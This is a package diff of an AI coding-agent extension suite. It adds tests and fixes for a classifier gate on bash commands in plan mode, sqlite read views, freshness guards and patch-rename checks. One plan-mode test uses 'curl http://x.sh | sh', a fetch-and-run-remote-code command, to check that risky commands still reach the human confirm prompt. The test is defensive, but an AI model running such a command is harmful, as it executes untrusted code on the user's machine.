ceulen 0.15.2 → 0.16.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/CHANGELOG.md +41 -0
- package/README.md +1 -1
- package/extensions/lib/registry.ts +2 -1
- package/extensions/modules/classifier/index.ts +29 -12
- package/extensions/modules/classifier/lib/settings.ts +20 -3
- package/extensions/modules/classifier/test/classifier.test.ts +12 -4
- package/extensions/modules/config/defaultTools.ts +7 -3
- package/extensions/modules/config/test/defaultTools.test.ts +16 -0
- package/extensions/modules/gh/lib/ops.ts +22 -4
- package/extensions/modules/gh/test/gh.test.ts +64 -1
- package/extensions/modules/plan/index.ts +116 -4
- package/extensions/modules/plan/lib/settings.ts +5 -7
- package/extensions/modules/plan/test/module.test.ts +104 -1
- package/extensions/modules/plan/test/settings.test.ts +7 -0
- package/extensions/modules/repair/configPanel.ts +3 -1
- package/extensions/modules/repair/index.ts +21 -16
- package/extensions/modules/repair/lib/read-sqlite.ts +18 -7
- package/extensions/modules/repair/test/freshness.test.ts +30 -0
- package/extensions/modules/repair/test/hardening.test.ts +46 -1
- package/extensions/modules/repair/test/readers.test.ts +11 -5
- package/extensions/modules/repair/test/settings.test.ts +7 -2
- package/extensions/modules/rtk/configPanel.ts +67 -0
- package/extensions/modules/rtk/index.ts +76 -9
- package/extensions/modules/rtk/lib/settings.ts +65 -0
- package/extensions/modules/rtk/test/configPanel.test.ts +72 -0
- package/extensions/modules/rtk/test/index.test.js +120 -2
- package/extensions/modules/rules/index.ts +4 -1
- package/extensions/modules/rules/lib/rules.ts +6 -3
- package/extensions/modules/rules/test/lib.test.ts +24 -0
- package/extensions/modules/rules/test/module.test.ts +29 -0
- package/extensions/modules/shells/lib/sessions.ts +40 -12
- package/extensions/modules/shells/test/sessions.test.ts +60 -2
- package/extensions/modules/steering/index.ts +12 -1
- package/extensions/modules/steering/test/anchor-plan.test.ts +73 -0
- package/extensions/modules/subagent/index.ts +19 -3
- package/extensions/modules/subagent/lib/herdr.ts +141 -1
- package/extensions/modules/subagent/lib/runner.ts +88 -22
- package/extensions/modules/subagent/test/herdr-stalled.test.ts +117 -0
- package/extensions/modules/subagent/test/worktree.test.ts +156 -1
- package/extensions/modules/todo/index.ts +4 -0
- package/extensions/modules/todo/test/todo.test.ts +9 -0
- package/extensions/modules/web/index.ts +1 -1
- package/extensions/modules/web/lib/a11y.ts +30 -15
- package/extensions/modules/web/lib/cdp.ts +11 -2
- package/extensions/modules/web/lib/chrome.ts +12 -3
- package/extensions/modules/web/lib/content.ts +32 -9
- package/extensions/modules/web/lib/search.ts +111 -3
- package/extensions/modules/web/test/a11y.test.ts +100 -2
- package/extensions/modules/web/test/cdp.test.ts +48 -0
- package/extensions/modules/web/test/chrome.test.ts +32 -0
- package/extensions/modules/web/test/content.test.ts +92 -0
- package/extensions/modules/web/test/search.test.ts +75 -0
- package/package.json +1 -1
|
@@ -2,7 +2,7 @@
|
|
|
2
2
|
// Handlers fire through the fake-pi harness (module seams, no real session).
|
|
3
3
|
import assert from "node:assert/strict";
|
|
4
4
|
import { readdirSync } from "node:fs";
|
|
5
|
-
import { existsSync, mkdtempSync, readFileSync, rmSync } from "node:fs";
|
|
5
|
+
import { existsSync, mkdtempSync, readFileSync, rmSync, writeFileSync } from "node:fs";
|
|
6
6
|
import { tmpdir } from "node:os";
|
|
7
7
|
import { join } from "node:path";
|
|
8
8
|
import { after, beforeEach, describe, it } from "node:test";
|
|
@@ -111,6 +111,92 @@ describe("plan mode — tool gating", () => {
|
|
|
111
111
|
});
|
|
112
112
|
});
|
|
113
113
|
|
|
114
|
+
describe("plan mode — classifier planGate", () => {
|
|
115
|
+
/** Fake model registry whose classify() answers from `answers`. */
|
|
116
|
+
function gateRegistry(answers: Record<string, unknown>, log: string[] = []) {
|
|
117
|
+
return {
|
|
118
|
+
findOfType: () => ({ id: "combo/jev", provider: "router" }),
|
|
119
|
+
getModelsOfType: () => [{ id: "combo/jev", provider: "router" }],
|
|
120
|
+
getAvailableOfType: async () => [{ id: "combo/jev", provider: "router" }],
|
|
121
|
+
refresh: async () => {},
|
|
122
|
+
classify: async (_model: unknown, request: { questions: Record<string, unknown> }) => {
|
|
123
|
+
log.push(Object.keys(request.questions).sort().join(","));
|
|
124
|
+
return { stopReason: "stop", answers };
|
|
125
|
+
},
|
|
126
|
+
};
|
|
127
|
+
}
|
|
128
|
+
const safeAnswers = {
|
|
129
|
+
mutates_filesystem: { type: "bool", probability: 0.02 },
|
|
130
|
+
reversible: { type: "bool", probability: 0.97 },
|
|
131
|
+
serves_task: { type: "bool", probability: 0.9 },
|
|
132
|
+
};
|
|
133
|
+
|
|
134
|
+
it("off by default: confirm tier unchanged, Jev never asked", async () => {
|
|
135
|
+
const h = await start();
|
|
136
|
+
await h.commands.plan.handler("", h.ctx({ cwd: REPO }));
|
|
137
|
+
const log: string[] = [];
|
|
138
|
+
const ctx = h.ctx({ cwd: REPO, modelRegistry: gateRegistry(safeAnswers, log), ui: { ...h.ctx().ui, select: async () => "Allow once" } });
|
|
139
|
+
assert.equal(await h.fire("tool_call", { toolName: "bash", input: { command: "npm test" } }, ctx), undefined);
|
|
140
|
+
assert.deepEqual(log, [], "gate off → no Jev ask");
|
|
141
|
+
});
|
|
142
|
+
|
|
143
|
+
it("observe: Jev is asked, verdict audited, confirm tier still runs", async () => {
|
|
144
|
+
const h = await start();
|
|
145
|
+
await h.commands.plan.handler("", h.ctx({ cwd: REPO }));
|
|
146
|
+
writeFileSync(join(agent.dir, "settings.json"), JSON.stringify({ classifier: { model: "combo/jev", planGate: { observe: true } } }));
|
|
147
|
+
const log: string[] = [];
|
|
148
|
+
const ctx = h.ctx({ cwd: REPO, modelRegistry: gateRegistry(safeAnswers, log), ui: { ...h.ctx().ui, select: async () => "Allow once" } });
|
|
149
|
+
assert.equal(await h.fire("tool_call", { toolName: "bash", input: { command: "npm test" } }, ctx), undefined);
|
|
150
|
+
// No user message fired in this harness (lastTask lives in the classifier
|
|
151
|
+
// module) → the serves_task question is omitted, serves degenerates to
|
|
152
|
+
// the reversible verdict — the designed no-task behavior.
|
|
153
|
+
assert.deepEqual(log, ["mutates_filesystem,reversible"]);
|
|
154
|
+
const logText = readFileSync(join(agent.dir, "classifier.log"), "utf8");
|
|
155
|
+
assert.ok(logText.includes('"tag":"ceulen-plan-gate"'), "audit line written");
|
|
156
|
+
assert.ok(logText.includes('"safe":true'));
|
|
157
|
+
});
|
|
158
|
+
|
|
159
|
+
it("enabled + safe verdict → auto-runs (no prompt); write stays hard-blocked; risky falls to the confirm tier", async () => {
|
|
160
|
+
const h = await start();
|
|
161
|
+
await h.commands.plan.handler("", h.ctx({ cwd: REPO }));
|
|
162
|
+
writeFileSync(join(agent.dir, "settings.json"), JSON.stringify({ classifier: { model: "combo/jev", planGate: { enabled: true } } }));
|
|
163
|
+
const log: string[] = [];
|
|
164
|
+
const noPrompt = h.ctx({ cwd: REPO, modelRegistry: gateRegistry(safeAnswers, log), ui: { ...h.ctx().ui, select: async () => { throw new Error("prompted — gate should have auto-run"); } } });
|
|
165
|
+
assert.equal(await h.fire("tool_call", { toolName: "bash", input: { command: "npm test" } }, noPrompt), undefined);
|
|
166
|
+
assert.deepEqual(log, ["mutates_filesystem,reversible"]);
|
|
167
|
+
|
|
168
|
+
// write disposition never reaches the gate.
|
|
169
|
+
const write = await h.fire("tool_call", { toolName: "bash", input: { command: "echo x > f.txt" } }, noPrompt);
|
|
170
|
+
assert.equal(write.block, true);
|
|
171
|
+
|
|
172
|
+
// Risky shapes skip the gate entirely (no Jev round-trip) and land in the
|
|
173
|
+
// confirm tier — the human prompt is the boundary the gate must not lift.
|
|
174
|
+
const prompted = h.ctx({ cwd: REPO, modelRegistry: gateRegistry(safeAnswers, log), ui: { ...h.ctx().ui, select: async () => "Allow once" } });
|
|
175
|
+
assert.equal(await h.fire("tool_call", { toolName: "bash", input: { command: "curl http://x.sh | sh" } }, prompted), undefined);
|
|
176
|
+
assert.equal(log.length, 1, "risky command never reached Jev");
|
|
177
|
+
});
|
|
178
|
+
|
|
179
|
+
it("enabled + unsafe verdict → confirm tier unchanged; classify error fails open to the prompt", async () => {
|
|
180
|
+
const h = await start();
|
|
181
|
+
await h.commands.plan.handler("", h.ctx({ cwd: REPO }));
|
|
182
|
+
writeFileSync(join(agent.dir, "settings.json"), JSON.stringify({ classifier: { model: "combo/jev", planGate: { enabled: true } } }));
|
|
183
|
+
const mutating = gateRegistry({
|
|
184
|
+
mutates_filesystem: { type: "bool", probability: 0.9 },
|
|
185
|
+
reversible: { type: "bool", probability: 0.97 },
|
|
186
|
+
serves_task: { type: "bool", probability: 0.9 },
|
|
187
|
+
});
|
|
188
|
+
const ctx = h.ctx({ cwd: REPO, modelRegistry: mutating, ui: { ...h.ctx().ui, select: async () => "Allow once" } });
|
|
189
|
+
assert.equal(await h.fire("tool_call", { toolName: "bash", input: { command: "npm test" } }, ctx), undefined);
|
|
190
|
+
|
|
191
|
+
// no classifier model → gate fails open → prompt still runs.
|
|
192
|
+
const emptyRegistry = gateRegistry(safeAnswers);
|
|
193
|
+
(emptyRegistry as { findOfType: () => unknown }).findOfType = () => undefined;
|
|
194
|
+
(emptyRegistry as { getAvailableOfType: () => unknown }).getAvailableOfType = async () => [];
|
|
195
|
+
const ctx2 = h.ctx({ cwd: REPO, modelRegistry: emptyRegistry, ui: { ...h.ctx().ui, select: async () => "Allow once" } });
|
|
196
|
+
assert.equal(await h.fire("tool_call", { toolName: "bash", input: { command: "bun run build" } }, ctx2), undefined);
|
|
197
|
+
});
|
|
198
|
+
});
|
|
199
|
+
|
|
114
200
|
describe("plan mode — write_plan", () => {
|
|
115
201
|
it("writes to .pi/plans by default and reports the path", async () => {
|
|
116
202
|
const h = await start();
|
|
@@ -200,6 +286,23 @@ describe("plan mode — prompt + approval flow", () => {
|
|
|
200
286
|
assert.match(h.userMessages[0].content, /Execute the approved plan/);
|
|
201
287
|
});
|
|
202
288
|
|
|
289
|
+
it("auto-approve materialize failure notifies and restores the plan for retry", async () => {
|
|
290
|
+
setPlanSettings(agent.dir, { autoApprove: true, savePlans: "approved" });
|
|
291
|
+
const h = await start();
|
|
292
|
+
await h.commands.plan.handler("", h.ctx({ cwd: REPO }));
|
|
293
|
+
await h.tools.write_plan.execute("tc1", { title: "T", content: "body" }, undefined, undefined, h.ctx({ cwd: REPO }));
|
|
294
|
+
// plans dir unwritable: <REPO>/.pi is a FILE → the approval-time write throws.
|
|
295
|
+
writeFileSync(join(REPO, ".pi"), "not a dir");
|
|
296
|
+
await h.fire("agent_settled", {}, h.ctx({ cwd: REPO })); // must not reject
|
|
297
|
+
assert.equal(h.userMessages.length, 0, "no execution turn on failure");
|
|
298
|
+
assert.ok(h.notifications.some((n) => n.includes("Auto-approve failed") && n.includes("/plan-approve to retry")));
|
|
299
|
+
// Condition fixed → a later settle still executes the still-ready plan.
|
|
300
|
+
rmSync(join(REPO, ".pi"));
|
|
301
|
+
await h.fire("agent_settled", {}, h.ctx({ cwd: REPO }));
|
|
302
|
+
assert.equal(h.userMessages.length, 1);
|
|
303
|
+
assert.match(h.userMessages[0].content, /Execute the approved plan/);
|
|
304
|
+
});
|
|
305
|
+
|
|
203
306
|
it("auto-approve never fires off an aborted settle; the plan still approves on a clean one", async () => {
|
|
204
307
|
setPlanSettings(agent.dir, { autoApprove: true });
|
|
205
308
|
const h = await start();
|
|
@@ -104,6 +104,13 @@ describe("plan settings", () => {
|
|
|
104
104
|
assert.equal(isInsidePlansDir(join(REPO, ".pi/plans"), ".pi/plans/{yyyymm}", REPO), false, "the dir itself is not inside");
|
|
105
105
|
});
|
|
106
106
|
|
|
107
|
+
it("{yyyymm} matches only a real 6-digit month segment (segment-wise, no splice)", () => {
|
|
108
|
+
assert.equal(isInsidePlansDir(join(REPO, ".pi/evil/plans/x.md"), ".pi/{yyyymm}/plans", REPO), false, "an any-segment wildcard must not match");
|
|
109
|
+
assert.equal(isInsidePlansDir(join(REPO, ".pi/202610/plans/x.md"), ".pi/{yyyymm}/plans", REPO), true);
|
|
110
|
+
assert.equal(isInsidePlansDir(join(REPO, ".pi/20261/plans/x.md"), ".pi/{yyyymm}/plans", REPO), false, "5 digits is not a month");
|
|
111
|
+
assert.equal(isInsidePlansDir(join(REPO, ".pi/plans/x.md"), ".pi/plans/{yyyymm}", REPO), false, "the month segment is required");
|
|
112
|
+
});
|
|
113
|
+
|
|
107
114
|
it("isSavePlans accepts only the closed set", () => {
|
|
108
115
|
assert.equal(isSavePlans("all"), true);
|
|
109
116
|
assert.equal(isSavePlans("approved"), true);
|
|
@@ -64,7 +64,9 @@ export function buildRepairGroups(cfg: RepairSettings): PanelGroup[] {
|
|
|
64
64
|
warning: "Bash description + auto-background mechanism bind at session start — applies to the next session.",
|
|
65
65
|
}),
|
|
66
66
|
row("repair.autoBgSecs", "Auto-background after", "number", cfg.autoBgSecs, (v) => {
|
|
67
|
-
|
|
67
|
+
// Mirror the cron guard: non-numeric input must not persist NaN→null.
|
|
68
|
+
const n = Math.floor(Number(v));
|
|
69
|
+
if (Number.isFinite(n) && n > 0) cfg.autoBgSecs = n;
|
|
68
70
|
}, {
|
|
69
71
|
defaultValue: DEFAULT_REPAIR_SETTINGS.autoBgSecs,
|
|
70
72
|
description: "Seconds a foreground bash call may run before it is auto-backgrounded.",
|
|
@@ -112,11 +112,12 @@ function applyReadSelector(args: Record<string, unknown>, cwd: string): unknown
|
|
|
112
112
|
// ── sqlite / archive views (OMP read-sqlite + read-archive) ──
|
|
113
113
|
|
|
114
114
|
/** Peel `db.sqlite:users` / `pkg.tgz:src/x.ts:50-80` for sqlite/archive
|
|
115
|
-
* views. Returns the model-facing text result
|
|
116
|
-
*
|
|
117
|
-
*
|
|
118
|
-
*
|
|
119
|
-
|
|
115
|
+
* views. Returns the model-facing text result plus the RESOLVED STEM (so the
|
|
116
|
+
* caller records the freshness baseline against the stem, not the raw
|
|
117
|
+
* selector path), or null when the path is neither (caller falls through to
|
|
118
|
+
* the built-in read). The stem must exist (the caller probes the literal path
|
|
119
|
+
* first — literal-wins preserved). Exported for tests. */
|
|
120
|
+
export function applySpecialView(rawPath: string, cwd: string): { text: string; stem: string } | null {
|
|
120
121
|
// Special-view peel: the LONGEST existing prefix path split at colons is
|
|
121
122
|
// the stem; the remainder is the sqlite sub-selector or archive member
|
|
122
123
|
// (+ optional line ranges). peelPathSelector can't do this — its grammar
|
|
@@ -139,7 +140,7 @@ export function applySpecialView(rawPath: string, cwd: string): { text: string }
|
|
|
139
140
|
if (isSqliteFile(stemAbs)) {
|
|
140
141
|
try {
|
|
141
142
|
// The sqlite sub-selector spans ALL segments (users:2 is table+rowid).
|
|
142
|
-
return { text: readSqlite(stemAbs, remainder, stem) };
|
|
143
|
+
return { text: readSqlite(stemAbs, remainder, stem), stem };
|
|
143
144
|
} catch (err) {
|
|
144
145
|
throw new Error(err instanceof Error ? err.message : String(err));
|
|
145
146
|
}
|
|
@@ -147,7 +148,7 @@ export function applySpecialView(rawPath: string, cwd: string): { text: string }
|
|
|
147
148
|
|
|
148
149
|
const kind = archiveKind(stem);
|
|
149
150
|
if (kind) {
|
|
150
|
-
if (!remainder) return { text: readArchiveListing(stemAbs, kind, stem).text };
|
|
151
|
+
if (!remainder) return { text: readArchiveListing(stemAbs, kind, stem).text, stem };
|
|
151
152
|
// Peel the trailing lines-selector FIRST (`src/x.ts:50-80`): the member
|
|
152
153
|
// lookup must see `src/x.ts`, not the raw remainder with the `:50-80`
|
|
153
154
|
// suffix (which matchMember reports as "no member matching").
|
|
@@ -168,9 +169,9 @@ export function applySpecialView(rawPath: string, cwd: string): { text: string }
|
|
|
168
169
|
? resolveTailSelector(selector, lines.length - 1)
|
|
169
170
|
: selector;
|
|
170
171
|
const sliced = sliceMemberLines(lines, resolved);
|
|
171
|
-
if (sliced !== null) return { text: sliced };
|
|
172
|
+
if (sliced !== null) return { text: sliced, stem };
|
|
172
173
|
}
|
|
173
|
-
return { text: res.text };
|
|
174
|
+
return { text: res.text, stem };
|
|
174
175
|
}
|
|
175
176
|
return null;
|
|
176
177
|
}
|
|
@@ -312,9 +313,13 @@ async function recordMutatedMtimes(toolName: string, params: any, cwd: string):
|
|
|
312
313
|
* so the auto-gen guard + mtime refresh must too). */
|
|
313
314
|
function parsePatchTargetPaths(patch: string): string[] {
|
|
314
315
|
const out: string[] = [];
|
|
315
|
-
for (const m of patch.matchAll(/^\*{3} (?:Add|Delete|Update) File: (.+?)(?:\s*(?:→|->)\s
|
|
316
|
-
|
|
317
|
-
|
|
316
|
+
for (const m of patch.matchAll(/^\*{3} (?:Add|Delete|Update) File: (.+?)(?:\s*(?:→|->)\s*(.+))?$/gm)) {
|
|
317
|
+
// A rename touches BOTH paths — the destination too (a `→ dist/out.min.js`
|
|
318
|
+
// target used to bypass the auto-gen guard because the regex dropped it).
|
|
319
|
+
for (const target of [m[1], m[2]]) {
|
|
320
|
+
const p = target?.trim();
|
|
321
|
+
if (p && !p.includes("://")) out.push(p);
|
|
322
|
+
}
|
|
318
323
|
}
|
|
319
324
|
return out;
|
|
320
325
|
}
|
|
@@ -483,7 +488,7 @@ export function wrapToolDefinition(
|
|
|
483
488
|
if (base.name === "read" && isRecord(params) && typeof params.path === "string" && !selector) {
|
|
484
489
|
const rawPath: string = params.path;
|
|
485
490
|
const rawAbs = resolvePath(cwd, rawPath);
|
|
486
|
-
let view: { text: string } | null = null;
|
|
491
|
+
let view: { text: string; stem?: string } | null = null;
|
|
487
492
|
if (existsSync(rawAbs) && isSqliteFile(rawAbs)) {
|
|
488
493
|
try {
|
|
489
494
|
view = { text: readSqlite(rawAbs, undefined, rawPath) };
|
|
@@ -496,9 +501,9 @@ export function wrapToolDefinition(
|
|
|
496
501
|
view = applySpecialView(rawPath, cwd);
|
|
497
502
|
}
|
|
498
503
|
if (view) {
|
|
499
|
-
// Record the freshness baseline for the STEM
|
|
500
|
-
//
|
|
501
|
-
await recordReadMtimes({ path: rawPath }, cwd);
|
|
504
|
+
// Record the freshness baseline for the STEM (the raw selector path
|
|
505
|
+
// itself doesn't exist on disk — recording it records nothing).
|
|
506
|
+
await recordReadMtimes({ path: view.stem ?? rawPath }, cwd);
|
|
502
507
|
return { content: [{ type: "text", text: view.text }], details: undefined };
|
|
503
508
|
}
|
|
504
509
|
}
|
|
@@ -168,13 +168,24 @@ export function executeSqliteView(db: DatabaseSync, sel: SqliteSelector, display
|
|
|
168
168
|
if (!/^(SELECT|WITH|PRAGMA)/.test(head)) {
|
|
169
169
|
throw new Error(`only read-only queries (SELECT/WITH/PRAGMA) — got "${sel.sql.slice(0, 40)}". Use bash for writes.`);
|
|
170
170
|
}
|
|
171
|
-
|
|
172
|
-
|
|
173
|
-
|
|
174
|
-
const
|
|
175
|
-
|
|
176
|
-
const
|
|
177
|
-
|
|
171
|
+
// Bounded iteration (F8): never materialize more than cap+1 rows.
|
|
172
|
+
// Column names come from the first row (F2) — stmt.columns() is
|
|
173
|
+
// Node >=23.11 and TypeErrors on the 22.x engines floor.
|
|
174
|
+
const collected: Record<string, unknown>[] = [];
|
|
175
|
+
let overflow = false;
|
|
176
|
+
for (const row of db.prepare(sel.sql).iterate()) {
|
|
177
|
+
if (collected.length >= MAX_RAW_QUERY_ROWS) {
|
|
178
|
+
overflow = true;
|
|
179
|
+
break;
|
|
180
|
+
}
|
|
181
|
+
collected.push(row as Record<string, unknown>);
|
|
182
|
+
}
|
|
183
|
+
const columns = collected.length ? Object.keys(collected[0]!) : [];
|
|
184
|
+
const footer = overflow
|
|
185
|
+
? `\n[showing ${collected.length} of ${collected.length}+ rows — add LIMIT to narrow the query]`
|
|
186
|
+
: "";
|
|
187
|
+
const total = overflow ? `${collected.length}+` : String(collected.length);
|
|
188
|
+
return `${displayPath} : query — ${total} row(s)\n${collected.length ? renderRows(columns, collected) : "(no rows)"}${footer}`;
|
|
178
189
|
}
|
|
179
190
|
}
|
|
180
191
|
}
|
|
@@ -143,6 +143,36 @@ describe("write freshness guard", () => {
|
|
|
143
143
|
assert.match(await readFile(file, "utf8"), /FOREIGN/);
|
|
144
144
|
});
|
|
145
145
|
|
|
146
|
+
it("a special-view read records the STEM's baseline (db.sqlite:users arms the guard)", async () => {
|
|
147
|
+
// F6: the raw selector path (db.sqlite:users) was recorded instead of the
|
|
148
|
+
// stem — no mtime ever landed, so a foreign write to the db after the read
|
|
149
|
+
// was invisible to the freshness guard.
|
|
150
|
+
const { DatabaseSync } = await import("node:sqlite");
|
|
151
|
+
const dir = await tempDir();
|
|
152
|
+
const dbFile = join(dir, "db.sqlite");
|
|
153
|
+
const db = new DatabaseSync(dbFile);
|
|
154
|
+
db.exec("CREATE TABLE users (id INTEGER PRIMARY KEY, name TEXT)");
|
|
155
|
+
db.exec("INSERT INTO users (name) VALUES ('alice')");
|
|
156
|
+
db.close();
|
|
157
|
+
|
|
158
|
+
const read = makeWrapped("read", dir);
|
|
159
|
+
const result = await exec(read, { path: "db.sqlite:users" }, dir);
|
|
160
|
+
assert.match(String(result.content[0].text), /alice/, "special view served");
|
|
161
|
+
|
|
162
|
+
// Foreign write (fresh mtime) after our read → a full-file write must
|
|
163
|
+
// now be refused, proving the STEM mtime is recorded.
|
|
164
|
+
const db2 = new DatabaseSync(dbFile);
|
|
165
|
+
db2.exec("INSERT INTO users (name) VALUES ('bob')");
|
|
166
|
+
db2.close();
|
|
167
|
+
const future = new Date(Date.now() + 1100);
|
|
168
|
+
await utimes(dbFile, future, future);
|
|
169
|
+
|
|
170
|
+
const write = makeWrapped("write", dir);
|
|
171
|
+
const fresh = await exec(write, { path: "db.sqlite", content: "clobber" }, dir);
|
|
172
|
+
assert.equal(fresh.isError, true, "checkWriteFresh sees the recorded stem mtime");
|
|
173
|
+
assert.match(fresh.content[0].text, /Re-read the file/);
|
|
174
|
+
});
|
|
175
|
+
|
|
146
176
|
it("write after a wrapped EDIT does not false-positive (edit refreshes the baseline)", async () => {
|
|
147
177
|
// Live-found defect (reviewer 2026-10-06): a successful edit never
|
|
148
178
|
// refreshed the freshness baseline, so read → edit → write compared the
|
|
@@ -7,7 +7,7 @@
|
|
|
7
7
|
import assert from "node:assert/strict";
|
|
8
8
|
import { execFileSync } from "node:child_process";
|
|
9
9
|
import { mkdtempSync, mkdirSync, writeFileSync, rmSync } from "node:fs";
|
|
10
|
-
import { mkdtemp, rm, writeFile } from "node:fs/promises";
|
|
10
|
+
import { mkdtemp, mkdir, rm, writeFile } from "node:fs/promises";
|
|
11
11
|
import { tmpdir } from "node:os";
|
|
12
12
|
import path from "node:path";
|
|
13
13
|
import { after, before, describe, it } from "node:test";
|
|
@@ -211,4 +211,49 @@ describe("patch rename arrows (A9)", () => {
|
|
|
211
211
|
await rm(proj, { recursive: true, force: true });
|
|
212
212
|
}
|
|
213
213
|
});
|
|
214
|
+
|
|
215
|
+
it("a rename INTO a guarded destination is refused even when the source is clean", async () => {
|
|
216
|
+
// F4: the arrow used to drop the destination, so `src/a.ts → dist/out.min.js`
|
|
217
|
+
// bypassed the auto-gen guard. Both arrows must now refuse on the DEST too.
|
|
218
|
+
const { default: repairModule } = await import("../index.js");
|
|
219
|
+
const proj = await mkdtemp(path.join(tmpdir(), "repair-arrow-dest-"));
|
|
220
|
+
const orig = process.env.PI_CODING_AGENT_DIR;
|
|
221
|
+
process.env.PI_CODING_AGENT_DIR = proj;
|
|
222
|
+
const tools: any[] = [];
|
|
223
|
+
try {
|
|
224
|
+
repairModule({
|
|
225
|
+
on: () => {},
|
|
226
|
+
registerTool: (def: any) => tools.push(def),
|
|
227
|
+
registerCommand: () => {},
|
|
228
|
+
} as never);
|
|
229
|
+
const applyPatch = tools.find((t) => t.name === "apply_patch");
|
|
230
|
+
assert.ok(applyPatch, "apply_patch registered");
|
|
231
|
+
await mkdir(path.join(proj, "src"), { recursive: true });
|
|
232
|
+
await writeFile(path.join(proj, "src.ts"), "x\n");
|
|
233
|
+
for (const arrow of ["→", "->"]) {
|
|
234
|
+
const res = await applyPatch.execute(
|
|
235
|
+
"t1",
|
|
236
|
+
{ patch: `*** Begin Patch\n*** Update File: src.ts ${arrow} dist/out.min.js\n@@ x\n-y\n+z\n*** End Patch` },
|
|
237
|
+
undefined,
|
|
238
|
+
undefined,
|
|
239
|
+
{ cwd: proj },
|
|
240
|
+
);
|
|
241
|
+
assert.equal(res.isError, true, `rename into a guarded dest refused (${arrow})`);
|
|
242
|
+
assert.match(res.content[0].text, /out\.min\.js/);
|
|
243
|
+
}
|
|
244
|
+
// Non-rename to a clean path is still allowed (guard untouched).
|
|
245
|
+
const ok = await applyPatch.execute(
|
|
246
|
+
"t1",
|
|
247
|
+
{ patch: "*** Add File: src/new.ts\n+hi\n*** End Patch" },
|
|
248
|
+
undefined,
|
|
249
|
+
undefined,
|
|
250
|
+
{ cwd: proj },
|
|
251
|
+
);
|
|
252
|
+
assert.equal(ok.isError, undefined);
|
|
253
|
+
} finally {
|
|
254
|
+
if (orig === undefined) delete process.env.PI_CODING_AGENT_DIR;
|
|
255
|
+
else process.env.PI_CODING_AGENT_DIR = orig;
|
|
256
|
+
await rm(proj, { recursive: true, force: true });
|
|
257
|
+
}
|
|
258
|
+
});
|
|
214
259
|
});
|
|
@@ -139,16 +139,22 @@ describe("sqlite views", () => {
|
|
|
139
139
|
}, /readonly|read-only/i);
|
|
140
140
|
});
|
|
141
141
|
|
|
142
|
-
it("raw queries cap at MAX_RAW_QUERY_ROWS", () => {
|
|
142
|
+
it("raw queries cap at MAX_RAW_QUERY_ROWS without materializing the rest", () => {
|
|
143
143
|
const big = path.join(dir, "big.db");
|
|
144
144
|
const db = new DatabaseSync(big);
|
|
145
145
|
db.exec("CREATE TABLE t (n INTEGER)");
|
|
146
|
-
db.exec(`WITH RECURSIVE c(x) AS (SELECT 1 UNION ALL SELECT x+1 FROM c WHERE x < ${MAX_RAW_QUERY_ROWS
|
|
146
|
+
db.exec(`WITH RECURSIVE c(x) AS (SELECT 1 UNION ALL SELECT x+1 FROM c WHERE x < ${MAX_RAW_QUERY_ROWS * 10}) INSERT INTO t SELECT x FROM c`);
|
|
147
147
|
db.close();
|
|
148
148
|
const out = readSqlite(big, "?SELECT * FROM t", "big.db");
|
|
149
|
-
assert.match(out, /showing
|
|
150
|
-
|
|
151
|
-
assert.
|
|
149
|
+
assert.match(out, /showing 200 of 200\+ rows/);
|
|
150
|
+
assert.match(out, /— 200\+ row\(s\)/);
|
|
151
|
+
assert.match(out, /add LIMIT/);
|
|
152
|
+
});
|
|
153
|
+
|
|
154
|
+
it("a query returning zero rows renders (no rows) — no stmt.columns() call", () => {
|
|
155
|
+
const out = readSqlite(dbFile, "?SELECT * FROM users WHERE age > 999", "f.db");
|
|
156
|
+
assert.match(out, /\(no rows\)/);
|
|
157
|
+
assert.match(out, /— 0 row\(s\)/);
|
|
152
158
|
});
|
|
153
159
|
});
|
|
154
160
|
|
|
@@ -174,7 +174,8 @@ describe("tool_call honors the trusted-project layer (A5 e2e)", () => {
|
|
|
174
174
|
|
|
175
175
|
describe("buildRepairGroups (panel contract)", () => {
|
|
176
176
|
it("renders the six repair.* rows on the Tools tab with the documented defaults", () => {
|
|
177
|
-
const
|
|
177
|
+
const cfg: RepairSettings = { ...DEFAULT_REPAIR_SETTINGS };
|
|
178
|
+
const groups = buildRepairGroups(cfg);
|
|
178
179
|
assert.equal(groups.length, 1);
|
|
179
180
|
assert.equal(groups[0].tab, "Tools");
|
|
180
181
|
assert.equal(groups[0].label, "Repair");
|
|
@@ -199,9 +200,13 @@ describe("buildRepairGroups (panel contract)", () => {
|
|
|
199
200
|
assert.equal(byKey.get("repair.guards")!.value, false);
|
|
200
201
|
// The row's setter clamps into the working config (the panel kernel keeps
|
|
201
202
|
// the raw value on the row — same contract as every ceulen number row).
|
|
202
|
-
const cfg: RepairSettings = { ...DEFAULT_REPAIR_SETTINGS };
|
|
203
203
|
byKey.get("repair.autoBgSecs")!.set(45.8);
|
|
204
204
|
cfg.autoBgSecs = Math.max(1, Math.floor(Number(45.8)));
|
|
205
205
|
assert.equal(Math.floor(Number(byKey.get("repair.autoBgSecs")!.value)), 45);
|
|
206
|
+
|
|
207
|
+
// F7: non-numeric input must not persist NaN→null — the working value is
|
|
208
|
+
// untouched, so the save diff produces no autoBgSecs entry.
|
|
209
|
+
byKey.get("repair.autoBgSecs")!.set("abc" as never);
|
|
210
|
+
assert.equal(cfg.autoBgSecs, 45, "set('abc') leaves the working value unchanged");
|
|
206
211
|
});
|
|
207
212
|
});
|
|
@@ -0,0 +1,67 @@
|
|
|
1
|
+
// rtk's /config contribution — Shell tab, RTK rewrite section.
|
|
2
|
+
//
|
|
3
|
+
// Rows write the global `rtk` section (see lib/settings.ts); the values are
|
|
4
|
+
// read per bash call, so a save applies to the next command without /reload.
|
|
5
|
+
// Enable + tool rows are prepended by the config module automatically.
|
|
6
|
+
|
|
7
|
+
import type { ExtensionContext } from "@earendil-works/pi-coding-agent";
|
|
8
|
+
import { row, type PanelGroup } from "../../lib/panel.js";
|
|
9
|
+
import type { ModuleConfig } from "../../lib/registry.js";
|
|
10
|
+
import { readRtkSettings, writeRtkSection, type RtkSettings } from "./lib/settings.js";
|
|
11
|
+
|
|
12
|
+
/** Build the rtk panel groups over a working copy (mutated by row setters).
|
|
13
|
+
* Exported for tests. */
|
|
14
|
+
export function buildRtkGroups(cfg: RtkSettings): PanelGroup[] {
|
|
15
|
+
return [
|
|
16
|
+
{
|
|
17
|
+
key: "rtk",
|
|
18
|
+
label: "RTK rewrite",
|
|
19
|
+
tab: "Shell",
|
|
20
|
+
icon: "⚡",
|
|
21
|
+
rows: [
|
|
22
